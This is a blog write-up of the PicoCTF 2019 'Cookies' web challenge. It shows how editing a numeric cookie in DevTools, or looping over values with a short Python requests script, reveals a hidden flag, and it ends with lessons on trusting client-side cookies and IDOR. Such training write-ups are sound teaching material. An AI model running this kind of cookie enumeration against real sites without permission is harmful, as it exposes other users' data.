DEV Community

CTFDojo
CTFDojo

Posted on Originally published at ctfdojo.com

PicoCTF Cookies Writeup — Full Walkthrough & Flag

#ctf #security #webdev

The site uses a name cookie to display different types of cookies (the food). By enumerating values from 0 to 18 via DevTools, we find the flag at name=18.

  • Platform: PicoCTF 2019
  • Category: Web Exploitation
  • Points: 150 pts
  • Difficulty: Beginner
  • Technique: HTTP cookie manipulation

Challenge description

The challenge presents a site themed around cookies (the food). The description reads:

"Who doesn't love cookies? Try to figure out the best cookie! http://2019shell1.picoctf.com:21485"

A form lets you search for a cookie type by name. The goal is to understand how the site handles its cookies client-side.

Step 1 — Reconnaissance

We open the site and submit a search with the word snickerdoodle (the default suggestion). The page displays: "I love snickerdoodle cookies!"

We open DevTools (F12) → Application tab → Cookies. We observe:

name=0
Enter fullscreen mode Exit fullscreen mode

The value is an integer. The site maps each cookie type to a numeric identifier.

Step 2 — Hypothesis

If name=0 corresponds to "snickerdoodle", there are probably other values — or the flag. We enumerate. Two approaches:

  • Manual: change the value in DevTools, reload
  • Automated: send requests in a loop with Python

Step 3 — Manual test

In DevTools → Application → Cookies, we change name to 1 and reload. We keep incrementing:

name=0  → snickerdoodle
name=1  → chocolate chip
name=2  → oatmeal raisin
name=3  → gingersnap
...
name=18 → [FLAG]
Enter fullscreen mode Exit fullscreen mode

Step 4 — Automation with Python 

import requests

url = "http://2019shell1.picoctf.com:21485/"

for i in range(25):
    cookies = {"name": str(i)}
    r = requests.get(url, cookies=cookies)
    if "picoCTF" in r.text:
        print(f"[+] Flag found with name={i}")
        start = r.text.find("picoCTF{")
        end   = r.text.find("}", start) + 1
        print(r.text[start:end])
        break
    else:
        print(f"[-] name={i}: no flag")
Enter fullscreen mode Exit fullscreen mode 
[-] name=0: no flag
[-] name=1: no flag
...
[+] Flag found with name=18
picoCTF{***************************}
Enter fullscreen mode Exit fullscreen mode

🚩 picoCTF{ flag intentionally hidden }

The flag is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

This challenge illustrates a client-side access control problem: the server trusts the value of a cookie without validating it. By manipulating name, we access hidden content.

In a real-world context, this type of vulnerability can expose other users' data (IDOR — Insecure Direct Object Reference) or administration endpoints.

  • Always inspect cookies as soon as a site loads personalized content
  • Sequential identifiers (0, 1, 2...) are a classic red flag
  • Automating enumeration with requests is a basic web CTF skill

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

Top comments (0)